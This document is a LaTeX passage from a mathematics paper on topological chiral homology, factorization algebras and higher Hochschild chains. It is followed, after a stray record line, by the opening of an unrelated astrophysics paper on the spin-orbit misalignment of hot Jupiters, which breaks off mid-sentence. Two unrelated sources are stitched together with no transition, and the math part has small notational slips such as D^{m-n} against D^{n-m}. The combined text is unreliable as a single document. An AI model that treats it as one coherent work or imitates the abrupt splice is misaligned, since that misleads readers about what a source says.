Following Lurie~\cite{L-VI}, topological chiral homology can also be defined for a (locally constant) family of $E_n$-algebras parametrized by the points in $M\times D^{m-n}$ even if $M$ is \emph{not} $n$-framed. Such families objects are (locally constant) algebras over an \emph{($\infty$-)operad $\mathbb{E}_n[M]:=\mathbb{E}_{M\times D^{n-m}}^{\otimes}$, the operad of little $n$-cubes in $M\times D^{m-n}$}, see~\cite[Definition 5.2.4.1]{L-VI} (here $M$ is still of dimension $m$, and of course one can choose $m=n$). Note that there is a canonical map of $\infty$-operads from $\mathbb{E}_n[M]$ to the the operad $Comm$ governing CDGAs. Thus a CDGA is an $\mathbb{E}_n[M]$-algebra in a canonical way.
\medskip
By~\cite[Theorem 5.2.4.9]{L-VI}, we can also describe an $\mathbb{E}_n[M]$-algebra as a locally constant $N({\text{Disk}}(M\times D^{n-m}))$-algebra. Indeed, by~\cite[Remark 5.3.2.7]{L-VI} we can extend Definition~\ref{Def:TCHasColimit} to an $\mathbb{E}_n[M]$-algebra $\mathcal{A}$ as well by replacing the last equivalence in~\eqref{eq:DefTCH} by $\mathcal{A}(V_1)\otimes \cdots \otimes \mathcal{A}(V_n)$. That is, there is an equivalence
\begin{equation}\label{eq:DefTCHnotframed} \int_M \mathcal{A} \; \cong \; \colim \int_{V_1}A \otimes \cdots \otimes \int_{V_n} A\cong \colim\mathcal{A}(V_1)\otimes \cdots \otimes \mathcal{A}(V_n)\end{equation} where $V_1,\dots, V_n$ are disjoint open sets homeomorphic to a ball.
\smallskip
\begin{lemma}[Lurie~\cite{L-VI}]\label{L:TCHpushout2} Let $M$ be a manifold and $\mathcal{A}$ be an $\mathbb{E}[M]$-algebra. Assume that there is a codimension $1$ submanifold $N$ of $M$ with a trivialization $N\times D^1$ of its neighborhood such that $M$ is decomposable as $M=X\cup_{N\times D^1}Y$ where $X,Y$ are submanifolds of $M$ glued along $N \times D^1$. Then
\begin{enumerate}
\item $\int_{N\times D^1} \mathcal{A}$ is an $E_1$-algebra and $\int_X \mathcal{A}$ and $\int_{Y} \mathcal{A}$ are right and left modules over $\int_{N\times D^1} \mathcal{A}$.
\item The natural map $$\int_X \mathcal{A}\; \mathop{\otimes}_{\int_{N\times D^1} \mathcal{A}}^{\mathbb{L}} \; \int_Y \mathcal{A} \; \longrightarrow \; \int_{M} \mathcal{A}$$ is an equivalence.
\end{enumerate}
\end{lemma}
\begin{proof}
The lemma is explained in~\cite{L-VI} after Theorem 5.3.4.14 (where $\int_{N\times D^1} \mathcal{A}$ is simply denoted by $\int_N \mathcal{A}$). Let us give some more details. There is a homeomorphism $N\times D^1 \cong N\times (0,1)$ and similarly (since $X$ has a neighborhood homeomorphic to $N\times D^1$) a homeomorphism $X\cong X_0$ where $X_0=X\setminus N\times [0,1)$ (we also denote $Y_0=Y\setminus N\times (-1,0]$). Since $N\times (-1,0)$ and $N\times (0,1)$ are disjoint open sets in $N\times D^1$, we get a natural map $\int_{X_0} \mathcal{A} \otimes \int_{N\times (0,1)} \mathcal{A} \to \int_{X} \mathcal{A}$. Then the module structure on $\int_{X} \mathcal{A}$ is given the composition
$$\int_{X} \mathcal{A} \otimes \int_{N\times D^1}\mathcal{A}\stackrel{\simeq} \longrightarrow \int_{X_0} \mathcal{A} \otimes \int_{N\times (0,1)} \mathcal{A} \longrightarrow \int_{X} \mathcal{A} $$ and similarly for the module structure of $\int_{Y} \mathcal{A}$ and the $E_1$-structure of $\int_{N\times D^1}\mathcal{A}$.
For the second statement, we need to prove that the canonical map
\begin{equation} \label{eq:L:TCHpushout2}
\colim \Big(\int_{X} \mathcal{A} \, \otimes \int_{N\times D^1} \mathcal{A} \, \otimes \int_{Y} \mathcal{A} \rightrightarrows \int_{X} \mathcal{A} \, \otimes \int_{Y} \mathcal{A}\Big) \longrightarrow \int_{M} \mathcal{A}
\end{equation} induced by the two module structures is an equivalence.
Using the equivalences of modules $\int_{X_0}\mathcal{A}\stackrel{\simeq}\to \int_X \mathcal{A}$, $\int_{Y_0}\mathcal{A}\stackrel{\simeq}\to \int_Y \mathcal{A}$ and Definition~\ref{Def:TCHasColimit} (or more precisely the equivalence~\eqref{eq:DefTCHnotframed}), the left hand side of the map~\eqref{eq:L:TCHpushout2} is computed by the colimit
$$\colim_{\scriptsize \begin{array}{l} U_1,\dots, U_\ell \in \widetilde{\Ball} \\ \mbox{pairwise disjoint}\end{array} } \int_{U_1}A \otimes \cdots\otimes \int_{U_\ell} A $$
where $\widetilde{\Ball}$ is the set of open sets $U\in Op(M)$ homeomorphic to a ball such that $U$ is either in $X_0$ or $Y_0$ or in $N\times D^1$. Thus, denoting $\Ball(M)$ the set of open sets homeomorphic to a ball in $M$, we are left to prove that the canonical map
\begin{equation} \label{eq:LTCHpushout3} \colim_{\scriptsize \begin{array}{l} U_1,\dots, U_\ell \in \widetilde{\Ball} \\ \mbox{pairwise disjoint}\end{array} } \int_{U_1}A \otimes \cdots\otimes \int_{U_\ell} A \, \longrightarrow \hspace{-20pt}\colim _{\scriptsize \begin{array}{l} V_1,\dots, V_i \in \Ball(M) \\ \mbox{pairwise disjoint}\end{array} } \int_{V_1}A \otimes \cdots\otimes \int_{V_i} A \to \int_{V}A \end{equation} is an equivalence.
For every family $B_1,\dots, B_k$ of pairwise disjoint open subsets of $M$ homeomorphic to a ball which intersects $N\times \{0\}$, choosing a point $x_j$ in each $B_j\cap \big(N\times \{0\}\big)$, we can find disjoint open subsets (homeomorphic to a ball) $U_1,\dots, U_k$ included in $N\times D^1$, such that $U_j$ contains $x_j$ and is included in $B_j$. The inclusion map $U_j\hookrightarrow B_j$ induces a canonical morphism $ \int_{U_j} \mathcal{A} \to \int_{B_j} \mathcal{A}$ which is an equivalence since there is a natural equivalence $\int_B A \cong A$ for any ball. It follows that the map of (homotopy) colimits~\eqref{eq:LTCHpushout3} is an equivalence.
\end{proof}
The generalization of Proposition~\ref{P:TCHisFact} to $\mathbb{E}_n[M]$-algebras is:
\begin{theorem}\label{T:HF=TCH}Let $M$ be a manifold of dimension $m$ and $d \in \N$ an integer.
\begin{enumerate}
\item The rule $\mathcal{A}\mapsto \Big(U\mapsto \int_U \mathcal{A} \Big)$ defines a functor of $(\infty,1)$-algebras $\mathcal{TC}_M: \mathbb{E}_d[M]\textit{-}Alg \to \mathop{Fac}^{lc}_{M}(E_d\textit{-}Alg)$ which fits into a commutative diagram
$$\xymatrix{\mathbb{E}_d[M]\textit{-}Alg \ar[rr]^{\int_M} \ar[d]_{\mathcal{TC}_M} & &{E_{d}}\textit{-}Alg_\infty \\
\mathop{Fac}^{lc}_M({E_{d}}\textit{-}Alg_\infty) \ar[rru]_{HF(-)} && } $$
\item The functor $\mathcal{TC}_M: \mathbb{E}_d[M]\textit{-}Alg \to \mathop{Fac}^{lc}_{M}(E_d\textit{-}Alg)$ is an equivalence of $(\infty,1)$-categories.
\end{enumerate}
\end{theorem}
In particular, any locally constant factorization algebra $\mathcal{F}$ on $M$ with values in $E_d$-algebras is equivalent to $\mathcal{TC}_M(\mathcal{A})$ for a unique (up to equivalences) $\mathbb{E}_d[M]$-algebra $\mathcal{A}$, \emph{i.e.}, .
algebra over the operad of little cubes in $M\times D^d$. Further, topological chiral homology of an open set $U$ with value in the associated $\mathbb{E}_{M\times D^d}^{\otimes}$-algebra computes the (derived) sections of the factorization algebra.
Also note that if $M$ is any manifold and $A$ is a CDGA, viewed as an $\mathbb{E}_d[M]$-algebra, then the factorization algebra $\mathcal{TC}_M(A)$ induced by Theorem~\ref{T:HF=TCH} is strongly constant in the sense of Section~\ref{S:Factorization}. Thus by Corollary~\ref{C:HFact=CH}, there is an natural equivalence of ($E_{d}$-algebras) \begin{equation*}\int_M A \;\cong\; CH_M(A)\end{equation*}
extending Theorem~\ref{T:TCH=CH} to non-framed manifolds.
\begin{proof}[Proof of Theorem~\ref{T:HF=TCH}] We first deal with assertion (1).
By Lemma~\ref{L:EnFact}, it is enough to prove that the rule $U\mapsto \int_U \mathcal{A}$, together with the structure maps
\begin{equation} \label{eq:muFacloc} \int_{U_1}\mathcal{A} \otimes \cdots\otimes \int_{U_\ell}\mathcal{A} \stackrel{\sim}\longrightarrow \int_{U_1\cup \cdots \cup U_\ell}\mathcal{A}\longrightarrow \int_{V}\mathcal{A} \end{equation}
for ${U_i}$'s pairwise disjoint open subsets of $V\in Op(M\times D^d)$, defines a locally constant factorization algebra on $M\times D^d$, naturally in $\mathcal{A}\in \mathbb{E}_{M\times D^d}^{\otimes}\textit{-}Alg$. Note that, by~\cite[Theorem 5.2.4.9]{L-VI}, the $\mathbb{E}_{M\times D^d}^{\otimes}$-algebra $\mathcal{A}$ satisfies that, for any ball $B$ which is a subset of a ball $B'$, the canonical map $\int_B \mathcal{A}\cong \mathcal{A}(B) \to \mathcal{A}(B')\cong \int_{B'}\mathcal{A}$ is an equivalence in $\hkmod$. Now we can apply the same proof as the one of Proposition~\ref{P:TCHisFact} with $\mathcal{A}$ instead of $A$, using Lemma~\ref{L:TCHpushout2} instead of Proposition~\ref{P:TCHpushout}.
\smallskip
We now prove assertion (2). By~\cite[Theorem 5.2.4.9]{L-VI}, the canonical embedding $\theta: \mathbb{E}_{M\times D^d}^{\otimes}\textit{-}Alg\to N(\text{Disk}(M\times \R^d))\textit{-}Alg $ induces an equivalence between $\mathbb{E}_{M\times D^d}^{\otimes}\textit{-}Alg$ and locally constant $ N(\text{Disk}(M\times \R^d))$-algebras; we write $N(\text{Disk}^{lc}(M))\textit{-}Alg$ for the latter subcategory. It is thus enough to define a functor $\mathcal{EA}_M: \mathop{Fac}^{lc}_M({E_{d}}\textit{-}Alg_\infty)\to N(\text{Disk}^{lc}(M))\textit{-}Alg$ such that $\mathcal{TC}_M\circ \mathcal{EA}_M$ and $\mathcal{EA}_M \circ \mathcal{TC}_M$ are respectively equivalent to the identity functors of $\mathop{Fac}^{lc}_M({E_{d}}\textit{-}Alg_\infty)$ and $N(\text{Disk}^{lc}(M))\textit{-}Alg$. Let $\mathcal{F}$ be in $\mathop{Fac}^{lc}_M({E_{d}}\textit{-}Alg_\infty)$. By Lemma~\ref{L:EnFact}, we can think of $\mathcal{F}$ as a locally constant factorization algebra on $M\times D^d$. Let $B \in Op(M\times D^d)$ be homeomorphic to a ball. Then the restriction $\mathcal{F}_{|B}$ is a locally constant factorization algebra on $B\cong \R^n$, thus is equivalent to an $E_n$-algebra (which is canonically equivalent to $\mathcal{F}(B)$).
Further, for any finite family $B_1,\dots, B_\ell$ of pairwise disjoint open subsets homeomorphic to a ball and $U$ an open subset homeomorphic to a ball containing the $B_i$'s, the locally constant factorization algebra structure defines a canonical map $$\gamma_{B_1,\dots,B_l,U}:\mathcal{F}(B_1)\otimes \cdots \otimes \mathcal{F}(B_\ell) \longrightarrow \mathcal{F}(U) $$ which is an equivalence if $\ell=1$. The maps $\gamma_{B_1,\dots,B_l,U}$ are compatible in a natural way. This shows that the collection $\mathcal{F}(B)$ for all open sets $B\subset M\times D^d$ homeomorphic to a ball is a locally constant $N(\text{Disk}(M\times \R^d))$-algebra, denoted $\mathcal{A}_\mathcal{F}$ and we define the functor $\mathcal{EA}_M$ to be defined by $\mathcal{EA}_M(\mathcal{F}):=\mathcal{A}_\mathcal{F}$ (for $M=pt$ it is the same as the functor $for$ defined in the proof of Proposition~\ref{P:Fac=En}). In other words, the functor $\mathcal{EA}_M(\mathcal{F})$ is simply induced by the composition $\text{Disk}(M\times \R^d)\hookrightarrow Op(M\times \R^d)\stackrel{\mathcal{F}}\to \hkmod$. By abuse of notation, we also write $\mathcal{A}_{\mathcal{F}}$ for the associated (well defined up to equivalences) $\mathbb{E}_{M\times D^d}^{\otimes}$-algebra.
Let $\mathcal{A}$ be an $\mathbb{E}_{M\times D^d}^{\otimes}$-algebra. By construction $\mathcal{EA}_M \circ \mathcal{TC}_M(\mathcal{A})$ is the (locally constant) $N(\text{Disk}(M\times \R^d))$-algebra given, on any (open set homeomorphic to an euclidean) ball $B$, by
$$\Big(\mathcal{EA}_M \circ \mathcal{TC}_M(\mathcal{A})\Big)(B) = \int_B\mathcal{A}\, \cong \, \mathcal{A}(B)$$ by definition of topological chiral homology~\cite[Example 5.3.2.8]{L-VI}. Hence there is a canonical equivalence $\mathcal{EA}_M \circ \mathcal{TC}_M(\mathcal{A}) \cong \mathcal{A}$ of locally constant $N(\text{Disk}(M\times \R^d))$-algebras and thus of $\mathbb{E}_{M\times D^d}^{\otimes}$-algebras as well.
It remains to prove that, there are natural equivalences $\mathcal{TC}_M(\mathcal{A}_{\mathcal{F}})\cong \mathcal{F}$ of factorization algebras, where $\mathcal{A}_{\mathcal{F}}$ is the $\mathbb{E}_{M\times D^d}^{\otimes}$-algebra $\mathcal{EA}_M(\mathcal{F})$ associated to $\mathcal{F}$ as above. Fixing a Riemannian metric on $M\times D^d$, we can find a cover $\Ball^g(M\times D^d)$ of $M$ given by open sets in $M\times D^d$ which are geodesically convex. On every $U\in \Ball^g(M\times \R^d)$, the restrictions $\mathcal{TC}_{|U}(\mathcal{A}_{\mathcal{F}})$ and $\mathcal{F}_{|U}$ are naturally isomorphic by the above paragraph. In particular, for any set $U_I:= \bigcap_{i\in I} U_i$ and any subset $J\subset I$, the following diagram
$$ \xymatrix{\mathcal{TC}_{|U_I}(\mathcal{A}_{\mathcal{F}}) \ar[rr]^{\simeq} \ar[d] & & \mathcal{F}_{|U_I} \ar[d]\\ \mathcal{TC}_{|U_{I\setminus J}}(\mathcal{A}_{\mathcal{F}}) \ar[rr]^{\simeq}& & \mathcal{F}_{|U_{I\setminus J}}}$$ is commutative.
Since $\mathcal{TC}_M(\mathcal{A}_{\mathcal{F}})$ and $\mathcal{F}$ are the factorization algebras obtained by descent from their restrictions on the cover $\Ball^g(M\times \R^d)$, on which they are naturally equivalent, it follows that $\mathcal{F}$ is equivalent to $\mathcal{TC}_M(\mathcal{A}_{\mathcal{F}})$.
\end{proof}
\begin{example}
Since $S^2\times D^1$ embeds as an open set in $\R^3$, any $E_3$-algebra $A$ yields, by restriction, a (locally constant) factorization algebra $\mathcal{A}_{S^2}$ on $S^2$ (with values in $E_1\textit{-}Alg$) (Lemma~\ref{L:EnFact}). By Theorem~\ref{T:HF=TCH} and Proposition~\ref{P:TCHpushout}, decomposing the sphere as two disks glued along the equator, we get that the factorization homology of $\mathcal{A}_{S^2}$ is given by
$$ HF(\mathcal{A}_{S^2}) \; \; \cong \;\; A \mathop{\otimes}^{\mathbb{L}}_{CH_{S^1}(A)} A$$ as an $E_1$-algebra. Here $CH_{S^1}(A)$ is the usual Hochschild chain complex of the (underlying) $E_1$-algebra structure of $A$, which is naturally an $E_2$-algebra by~\cite[Theorem 5.3.3.11]{L-VI} and Proposition~\ref{P:TCHpushout}.
Similarly, any $E_2$-algebra $B$ yields a (translation invariant and locally constant) factorization algebra on $\R^2$, and thus a (locally constant) factorization algebra $\mathcal{B}_T$ on a torus $T=S^1\times S^1\cong \R^2/\Z^2$. Since $T$ is framed, we can also define its topological chiral homology directly using the framing. It follows easily from the uniqueness statement in Theorem~\ref{T:HF=TCH}, that $\mathcal{B}_T$ is equivalent to $\mathcal{TC}_T(B)$ in $\mathop{Fac}_T(\hkmod)$.
Note that the two canonical projections $p_1, p_2:\R^2\to \R$ define two locally constant factorization algebras ${p_1}_*(\mathcal{B})$, ${p_2}_*(\mathcal{B})$ on $\R$ and thus, two $E_1$-algebras $B_1$ and $B_2$. Now, cutting the torus along two meridian circles, we get two copies of $S^1\times D^1\cong \R^2/(\Z\oplus \{0\})$ glued along their boundaries. By Theorem~\ref{T:HF=TCH} again, the topological chiral homology of $S^1\times D^1$ is the same as the factorization algebra homology of the descent factorization algebra $\mathcal{B}^{\Z\oplus \{0\}}$. Thus $\int_{S^1\times D^1} B $ is equivalent to the usual Hochschild chain complex $CH_{S^1}(B_1)$ and the later complex inherits an $E_1$-structure from the $E_2$-algebra structure of $\mathcal{B}$.
From Proposition~\ref{P:TCHpushout}, we deduce a natural equivalence (in $\hkmod$)
$$HF(\mathcal{B}_T) \cong CH_{S^1}(B_1) \!\mathop{\otimes}^{\mathbb{L}}_{CH_{S^1}(B_1) \otimes (CH_{S^1}(B_1))^{op}} \!CH_{S^1}(B^1)
\cong CH_{S^1}(CH_{S^1}(B_1)).
$$
Note that if $B$ was actually a CDGA, then the later equivalence follows directly from Corollary~\ref{L:CHYoCHX=CHXoCHZ}.
\end{example}
\subsection{Some applications}\label{SS:applications}
\subsubsection{Another construction of topological chiral homology for framed manifolds}
Let $M$ be an $m$-dimensional manifold which is $n$-framed. Given an $E_n$-algebra $A$, we can define the topological chiral homology $\int_M A$ of $M$ with values in $A$. By Proposition~\ref{P:TCHisFact} and Theorem~\ref{T:HF=TCH}, $\int_M A$ is the factorization homology of a factorization algebra on $M\times D^{n-m}$. We explain how to construct this factorization algebra directly.
\smallskip
Since $M$ is $n$-framed, there is a bundle isomorphism $\varphi: T(M\times D^{n-m}) \stackrel{\simeq}\longrightarrow \underline{\R^n}$ where $\underline{\R^n}$ is a trivial bundle over $M\times D^{n-m}$.
Choosing a Riemannian metric on $M\times D^{n-m}$, we have, using the spray associated to the exponential map, canonical diffeomorphisms of (a basis of) open neighborhoods of any $x\in M\times D^{n-m}$ to open sets in the tangent space $T(M\times D^{n-m})_x$ of $M\times D^{n-m}$ at $x$. Composing with the map $\varphi$ induced by the framing, we get diffeomorphisms $U\mapsto \psi(U_x)\in Op(\R^n)$ where $U$ is a (geodesically convex) open neighborhood of $x$.
Let $\mathcal{U}$ be the cover of $M\times D^{n-m}$ obtained by considering the $U$ above such that $\phi_x(U_x)\in \Ball(\R^n)$ is an euclidean ball. The cover $\mathcal{U}$ is a factorizing basis of open subsets of $M\times D^{n-m}$.
To any $U\in \mathcal{U}$, we associate $\mathcal{A}(U)=A$, a (fixed) $E_n$-algebra. We wish to extend $\mathcal{A}$ into a factorization algebra. Since $A$ is an $E_n$-algebra, it defines a locally constant factorization algebra on $\R^n$ (see~\cite{Co,L-VI} and Proposition~\ref{P:Fac=En}), which we, by abuse of notation, again denote by $A$.
For any pairwise disjoint $U_1, \cdots, U_n \in \mathcal{U}$, and $V \in \mathcal{U}$ such that $U_i \subset V$ ($i=1\cdots n$), we define
the structure maps $\mu_{U_1,\dots, U_n, V}$ (see Section~\ref{S:Factorization}) by the following commutative diagram:
\begin{equation*}\xymatrix{ \mathcal{A}({U_1}) \otimes \cdots \otimes \mathcal{A}({U_n}) \ar[d]_{\simeq} \ar[rr]^{\qquad \quad \mu_{U_1,\dots, U_n,V}} & & \mathcal{A}({V}) \ar[d]^{\simeq}\\ A(\psi(U_1))\otimes \cdots \otimes A(\psi(U_n)) \ar[rr]_{} & & A(\psi(V))}\end{equation*}
where the lower arrow is given by the $E_n$-algebra structure of $A$.
This yields a $\mathcal{U}$-factorization algebra (in the sense of~\cite{CG} and \S~\ref{S:Factorization}) since $A$ is a factorization algebra on $\R^n$ and $M\times D^{n-m}$ is framed. By~\cite[Section 3]{CG}, we can now extend $\mathcal{A}$ to a factorization algebra on $M\times D^{n-m}$.
\begin{corollary}\label{C:FactforframedTCH}
There is an equivalence of $E_{n-m}$-algebras $$\int_M A \; \cong \; HF(M,\mathcal{A}).$$
\end{corollary}
\begin{proof}
For any ball $U$, we have a natural equivalence $\int_U A \cong A \cong \mathcal{A}(U)$. Now the result follows from Theorem~\ref{T:HF=TCH} (and its proof) after taking global sections.
\end{proof}
Note that topological chiral homology $\mathcal{TC}_M(A)$ is independent of the Riemannian metric, hence the factorization algebra $\mathcal{A}\in \mathop{Fac}_{M\times D^{n-m}}^{lc}(\hkmod)$ on $M$ thus obtained is also independent of the Riemannian metric.
\subsubsection{Interpretation of topological chiral and higher Hochschild in terms of mapping spaces}
As we have already noticed, higher Hochschild chains behave much like mapping spaces (and thus so do $\int_M A$ for CDGAs $A$). Indeed,
\begin{corollary} Let $A=\Omega^\ast N$ be the de Rham forms on a $d$-connected manifold (with its usual differential). Then for any manifold $M$ of dimension $m\leq d$, there is a natural quasi-isomorphism $\int_M A \cong \Omega^\ast (N^M)$, the space of (Chen) de Rham forms of the mapping space $N^M= \mathop{Map} (M,N)$.
\end{corollary}
In other words, topological chiral homology of $M$ with value in $\Omega^\ast N$ calculates the mapping space $N^M$ (if $N$ is sufficiently connected).
\begin{proof}
By Theorem~\ref{T:TCH=CH}, we are left to a similar statement for $CH_{M}(\Omega^\ast N)$. Since $M$ is $m$-dimensional it has a simplicial model with no non-degenerate simplices in dimensions above $m$. Now the result follows from~\cite[Proposition 2.5.3 and Proposition 2.4.6]{GTZ}.
\end{proof}
\begin{remark}
By~\cite[Section 2.4]{GTZ}, there is a canonical map $\int_M \Omega^\ast N \to \Omega^\ast (N^M)$. Further, it is possible to replace $N$ by any nilpotent space (by mimicking the proof of \cite[Propositions 2.5.3 and 2.4.6]{GTZ}) and $\Omega^\ast N$ by a Sullivan model of $N$.
\end{remark}
We now give a (derived/homotopical) algebraic geometry statement. Recall that $k$ denotes a field of characteristic zero and let $\mathbf{dSt}_k$ be the (model) category of \emph{derived stacks} over $k$ described in details in~\cite[Section 2.2]{ToVe} (which is a derived enhancement of the category of stacks over $k$). This category admits internal Hom's that we denote by $\mathbb{R}\mathop{Map}(\mathfrak{X},\mathfrak{Y})$ following~\cite{ToVe,ToVe2}. To any simplicial set $X_\com$, we associate the constant simplicial presheaf $k\textit{-}Alg \to \sset$ defined by $R\mapsto X_\com$ and we denote $\mathfrak{X}$ the associated stack. For a (derived) stack $\mathfrak{Y}$, we denote $\mathcal{O}_{\mathfrak{Y}}$ its functions~\cite{ToVe} (\emph{i.e.}, $\mathcal{O}_{\mathfrak{Y}}:=\mathbb{R}\underline{Hom}(\mathfrak{Y},\mathbb{A}^1)$).
\begin{corollary}\label{C:mappingstack} Let $\mathfrak{R}=\mathbb{R}\mathop{Spec}(R)$ be an affine derived stack (for instance an affine stack)~\cite{ToVe}. Then the Hochschild chains over $X_\com$ with coefficient in $R$ represent the mapping stack $\mathbb{R}\mathop{Map}(\mathfrak{X}, \mathfrak{R})$. That is, $$\mathcal{O}_{\mathbb{R}\mathop{Map}(\mathfrak{X},\mathfrak{R})}\; \cong \; CH_{X_\com}^{\com}(R).$$
\end{corollary}
\begin{proof}
The bifunctor $(\mathfrak{X},\mathbb{R}\mathop{Spec}(R))\mapsto \mathbb{R}\mathop{Map}(\mathfrak{X}, \mathbb{R}\mathop{Spec}(R))$ is contravariant in $\mathfrak{X}$ and $R \in \cdga^{\leq 0}$. Thus, $\mathcal{O}_{\mathbb{R}\mathop{Map}(\mathfrak{X},\mathfrak{R})}$ defines a covariant bifunctor. Since $\mathbb{R}\mathop{Map}(-,\mathfrak{R})$ sends (homotopy) limits to (homotopy) colimits, it follows from Theorem~\ref{T:deriveduniqueness} (also see Remark~\ref{R:cdga-}) that $\mathcal{O}_{\mathbb{R}\mathop{Map}(\mathfrak{X},\mathfrak{R})}$ is equivalent to $CH_{X_\com}^{\com}(R)$.
\end{proof}
\begin{example}
Let $B_\com \mathbb{Z}$ be the nerve of $\mathbb{Z}$ and $\mathfrak{B}\mathbb{Z}$ its associated stack. Recall that there is an homotopy equivalence $S^1\to |B_\com \mathbb{Z}|$ (actually induced by a simplicial set map, see~\cite{L}). From Corollary~\ref{C:mappingstack} we recover that the derived loop stack $L\mathfrak{R}:=\mathbb{R}\mathop{Map}(\mathfrak{B}\mathbb{Z},\mathfrak{R})$ is represented by $CH_{B_\com \mathbb{Z}}^{\com}(R) \stackrel{\simeq}\longleftarrow CH_{S^1_\com}^{\com}(R)$ the standard Hochschild chain complex of $R$ as was proved in~\cite{ToVe2}. Similarly, the derived torus mapping stack $\mathbb{R}\mathop{Map}(\mathfrak{B}\mathbb{Z}\times \mathfrak{B}\mathbb{Z},\mathfrak{R})$ is represented by $CH_{S^1\times S^1}^\com(R)$ and the secondary cyclic homology in the sense of~\cite{ToVe2} is represented by the homotopy fixed points $CH_{S^1\times S^1}^\com(R)^{h (S^1\times S^1)}$ with respect to the induced action of the simplicial group $B_\com \mathbb{Z}\times B_\com \mathbb{Z}$ on the derived mapping space.
\end{example}
\begin{remark}
Sheafifying (or rather stackifying) the higher Hochschild derived functor, it seems possible to extend Corollary~\ref{C:mappingstack} to general derived schemes.
\end{remark}
\subsubsection{Topological chiral Homology and homology spheres}
Topological chiral homology of CDGAs is a homology invariant, and thus, in particular, a homotopy invariant. Indeed, we have the following corollary.
\begin{corollary} Let $f:M \to N$ be smooth map between two manifolds inducing isomorphisms on homology and $A$ be a \cdga, then $\int_M A\cong \int_N A$.
\end{corollary}
\begin{proof} This follows from Theorem~\ref{T:TCH=CH} and the quasi-isomorphism invariance of $CH_{(-)}^{\com}(A)$ (Proposition~\ref{P:homologyinvariance}).
\end{proof}
\begin{example}
The composition $S^3 \to SO(3) \to SO(3)/I$, where $I$ is the icosahedral group,
induces an isomorphism on homology. To see this note that the fundamental group of $SO(3)/I$
is the binary icosahedral group $\tilde{I}$ which is a perfect group and therefore $H_1(SO(3)/I)=0$.
The result $SO(3)/I$ is the Poincar\'e homology sphere and has thus the same topological chiral homology
with value in any CDGA as $S^3$.
\end{example}
\begin{remark}
Note that we study topological chiral homology in the framework of chain complexes, \emph{i.e.}
we have fixed the $(\infty,1)$-category of chain complexes as our \lq\lq{}ground\rq\rq{}
monoidal $(\infty,1)$-category. If one works in some other framework (such as topological spaces),
one can expect to have more refined invariants.
\end{remark}
\begin{remark}
Note that $S^1$ has two diffeomorphic $1$-framings (specified by a choice of orientation).
This accounts for the fact that classically there is only one Hochschild complex for
associative algebras.
There are countably many $2$-framings for the circle, one for each integer,
giving rise to equivalent topological chiral homologies when the integrand is a \cdga.
It would therefore be meaningful to look for an explicit $E_2$-algebra that distinguishes these
framings from one another, if such exists. Similarly, it would be interesting to find an explicit $E_3$-algebra
that distinguishes the two $3$-framings of $S^1$.
\end{remark}
\subsubsection{Fubini formula for topological chiral homology}
The exponential law for Hochschild chains (Proposition~\ref{P:product}) has an analogue for topological chiral homology.
\begin{corollary} \label{C:FubiniTCH} Let $M$, $N$ be manifolds and $\mathcal{A}$ be an $\mathbb{E}_d[M\times N]$-algebra. Then, $\int_N\mathcal{A}$ has a canonical lift as an $\mathbb{E}_d[M]$-algebra and further, there is an equivalence of $E_d$-algebras
$$\int_{M\times N} \mathcal{A} \; \cong \; \int_M\Big(\int_N \mathcal{A}\Big). $$
\end{corollary}
\begin{proof} Replacing $M$ by $M\times \mathbb{R}^d$ and using Lemma~\ref{L:EnFact},
it is enough to prove the result for $d=0$. Since the homology of a factorization algebra on $X$ is given by the pushforward along the canonical map $p:X\to pt$,
by Theorem~\ref{T:HF=TCH}, one has
\begin{equation}\label{eq:FubiniTCH}\int_{M\times N}\mathcal{A}
\cong p_*\big( \mathcal{TC}_{M\times N}(\mathcal{A})\big)
\cong p_*\big(\pi_*\big(\mathcal{TC}_{M\times N}(\mathcal{A}) \big)\big)\end{equation}
where $\pi:M\times N\to M$ is the canonical projection. Since $\mathcal{TC}_{M\times N}(\mathcal{A})$
is locally constant, $\pi_*\big(\mathcal{TC}_{M\times N}(\mathcal{A})$
is also locally constant whose value on an open ball $D\subset M$ is given by
$\pi_*\big(\mathcal{TC}_{M\times N}(\mathcal{A})(U) \cong \mathcal{TC}_{M\times N}(\mathcal{A})(U\times N)
\cong \int_N \mathcal{A}$. This defines the canonical $\mathbb{E}_d[M]$-algebra structure on
$ \int_N \mathcal{A}$ and the result now follows from the equivalence~\eqref{eq:FubiniTCH}.
\end{proof}
\begin{example}
Let $M$, $N$ be $m+k$-framed and $n+\ell$-framed manifolds of respective dimension $m$, $n$ and $A$
be an ${E}_{n+k+m+\ell}$-algebra. Then, the product $M\times N$ is canonically $m+n+k+\ell$-framed
and $A$ is an $\mathbb{E}_{k+\ell}$-algebra. Then, Corollary~\ref{C:FubiniTCH} yields an equivalence of
$E_{k+\ell}$-algebras:
$$\int_{M\times N} A \; \cong \; \int_{M} \Big(\int_{N} A\Big). $$
In particular, if $A$ is a CDGA, then Corollary~\ref{C:FubiniTCH} reduces to the exponential
law for Hochschild chains (Proposition~\ref{P:product})
under the equivalence between topological chiral homology and derived Hochschild chains (Theorem~\ref{T:TCH=CH}).
\end{example}
|
1,477,468,750,018 | arxiv | \section{Introduction}
\label{introduction}
Observations over the past few years have shown that many transiting exoplanets (principally hot Jupiters) have significantly non-zero orbital inclinations. This is, in most cases, measured via the Rossiter-McLaughlin effect, which is a probe of the sky-projected orbital inclination ($\lambda$), also known as the spin-orbit misalignment \citep[e.g.,][]{Triaud10,Winn11}. \cite{Winn10} noted two different regimes in the distribution of $\lambda$ versus stellar $T_{\mathrm{eff}}$. Planets orbiting cooler stars ($T_{\mathrm{eff}}<6250$~K) tend to have aligned orbits (with a few notable exceptions), while those orbiting hotter stars ($T_{\mathrm{eff}}>6250$ K) have a much wider distribution of spin-orbit misalignments that is consistent with isotropic \citep{Albrecht12}.
Several hypotheses have been put forward to explain these two regimes. \cite{Winn10} proposed that most hot Jupiters are emplaced on highly inclined orbits by processes such as planet-planet scattering \citep[e.g.,][]{RasioFord96} or Kozai cycles \citep[e.g.,][]{KCTF}. $T_{\mathrm{eff}}=6250$ K marks the location on the main sequence where cooler stars have deep, massive convective zones, whereas hotter stars do not. \cite{Winn10} hypothesized that cooler stars' convective zones are able to efficiently tidally couple to the planet and damp out the planetary orbital inclination within the main sequence lifetime, whereas those of hotter stars are not. \cite{ValsecchiRasio14} recently presented simulations confirming the plausibility of this idea. \cite{Batygin12} instead proposed that hot Jupiters are emplaced by disk migration within an inclined disk, coupled with the same tidal dissipation hypothesis as \cite{Winn10}. The disk is torqued out of alignment with the stellar spin axis by gravitational interactions with a transitory binary companion on an inclined orbit in the birth cluster. Further simulations along these same lines by 